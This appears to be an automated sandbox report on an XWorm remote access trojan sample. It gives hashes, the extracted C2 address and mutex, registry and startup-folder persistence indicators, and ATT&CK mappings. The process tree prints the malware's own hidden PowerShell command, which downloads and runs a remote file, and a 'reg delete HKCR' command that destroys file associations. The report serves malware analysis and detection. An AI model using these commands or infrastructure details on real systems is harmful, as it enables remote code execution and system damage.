xworm | 71b70d9ea504e3c90a4a4828333f82dd56e9200d018ed8791908aecbb598c0b2

Analysis

user interaction
yes
max time kernel
80s
max time network
126s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/10/2026, 17:27

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General

Target
WizClient.exe
Size 32KB
Sample261002-v1devafb23
SHA256 71b70d9ea504e3c90a4a4828333f82dd56e9200d018ed8791908aecbb598c0b2
MD5 9f55761c070020a6c3e66eed8efe73ee
SHA1 03fc7df6652370352874423d134cc8bf6c7f33f6
SHA512 29272a7604db13000bbd9469522f0a82f131c75a5701097abadd2b8afc5c1f045f4ec9ff36810770a760202dea3d689a62f687a717c92ff6f866380193490650
SSDEEP 384:Dr8WqVDweYXS3ghk3wcD6LxP8iYnM2M4dm5XR+ptFFBLTiZw/W+UvK9Ikn184vxV:DiedxP8dnM2M4oNcFz9L+uOjhe/dv5N
TLSH
T126E25C4877A48326D5FE2FF56CF291050279E1078923EF5E5CD889EE7B63AC246013D2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xworm persistence privilege_escalation rat trojan

Malware Config

Extracted

Family

xworm

6.tcp.vip.cpolar.cn:10573

Mutex

1Mg279NX8raGk9lD

Attributes

Install_directory
%AppData%
install_file
USB.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4112-1-0x0000000000F70000-0x0000000000F7E000-memory.dmp	family_xworm

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
38	5664	powershell.exe
42	5664	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5664	powershell.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WizClient.lnk	WizClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WizClient.lnk	WizClient.exe

Executes dropped EXE 1 IoCs

pid	Process
4588	nhtrns.exe

Modifies system executable filetype association 2 TTPs 16 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\DropHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers\Compatibility	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\{8895b1c6-b41f-4c1c-a562-0d564250836f}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser	reg.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	WizClient.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2804	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WizClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WizClient.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pps\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.vstx\ShellEx\PropertyHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AudioVBScript\DMScript	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.hxd	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.rwl\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroExch.FDFDoc\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\hh.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\acrobat\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.plg	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.raw\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\awdvstub.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\chkfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.cc	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.def\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AllFilesystemObjects\shellex\ContextMenuHandlers\ModernSharing	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppX2b728y1f1nn5hvq8ww8qk030g07r87t9\Shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ans\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.cab\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.dcs\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pptxml	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.vdx\shellex	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.wdp\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroExch.Document\CurVer	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Application.Reference\shellex	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.det	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.hpp	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\wmpdmc.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppXarkze06z7pvhtc0xch943brvx8pbb8xa\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppXkndb5xvk0v1ka1efnjajnamxcd3sfae1\Shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppX4jbzrhvphxte25e0gxha6bq555nrgqzy\Shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.compositefont	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.faq	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.xlt\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.M2TS\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pma	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.rmi	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\WScript.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppX6dgm15xpej2tfeqy45f08t73gq55qcjn\Shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CertificateAuthority.GetConfig\CurVer	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.docx\ShellEx\PropertyHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.erf\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.k25\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mpg\ShellEx\{BB2E617C-0920-11D1-9A0B-00C04FC2D6C1}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mv\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.xlshtml	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroExch.acrobatsecuritysettings.1\shell\Read\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\aspfile\ScriptHostEncode	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\BannerNotificationHandler.BannerNotificationHandler\shell\import	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.jpe\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pef	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.vsdm\ShellEx\{8895b1c6-b41f-4c1c-a562-0d564250836f}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.xlam	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\mspaint.exe\shell\edit\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pfm	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.hxk\OpenWithProgIDs	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.odh\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pps\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.uvu\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.wmv\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.wpl\OpenWithProgIds	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.xls	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.m1v\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.xltx\ShellEx	reg.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
5664	powershell.exe
5664	powershell.exe
5664	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4588	nhtrns.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4112	WizClient.exe
Token: SeDebugPrivilege	4588	nhtrns.exe
Token: SeDebugPrivilege	4588	nhtrns.exe
Token: 33	4016	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	4016	AUDIODG.EXE
Token: SeDebugPrivilege	5664	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4112 wrote to memory of 4588	4112	WizClient.exe	90
PID 4588 wrote to memory of 5664	4588	nhtrns.exe	93
PID 4588 wrote to memory of 2804	4588	nhtrns.exe	95
PID 2804 wrote to memory of 5548	2804	cmd.exe	97

C:\Users\Admin\AppData\Local\Temp\WizClient.exe
"C:\Users\Admin\AppData\Local\Temp\WizClient.exe"
1⤵
- Creates a file in the Startup directory
- Enumerates video capture drivers
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4112
- C:\Users\Admin\AppData\Local\Temp\nhtrns.exe
  "C:\Users\Admin\AppData\Local\Temp\nhtrns.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5664
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2804
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      Modifies system executable filetype association
      Modifies registry class
      PID:5548

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004F8 0x0000000000000500
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4016

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Video Capture

T1125

Command and Control

Exfiltration

Impact

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__PSScriptPolicyTest_2wswo5hy.srq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2wswo5hy.srq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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nhtrns.exe

Path C:\Users\Admin\AppData\Local\Temp\nhtrns.exe
Size 41KB
SHA256 c8810de8adf53ad37fd89c03b11c8f2cd016adbc56023d9e84d4b4753c44a8f5
MD5 4fecc738a9bd7c331aca9ca0234ce011
SHA1 dac69d8a392034203271114b3b487338197f5ad4
SHA512 6de5834cabe089ac3ac5bbc583cdf1701a2669743632878e2c292f0cf72fe719c0a996192eab5cd936c715e417cc0decc95548a1311ef666c55e3349b7bba388
SSDEEP 768:rHFNow8R4ZqjDBYGGCBPqX1Q7wzYUeSdBnhY9sST45loa+8LQWMA0:DFNj8R4ZqjDBY2PqFmAzVdlm9sST4j+b
TLSH
T144133C4EAF8D8433C34DABFD586292528630E6274013E7CE55CC61F61AD33964E593DB
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/4112-0-0x00007FFB5CCAF000-0x00007FFB5CCB0000-memory.dmp

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memory/4112-1-0x0000000000F70000-0x0000000000F7E000-memory.dmp

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memory/4112-2-0x00007FFB5CB20000-0x00007FFB5D4C4000-memory.dmp

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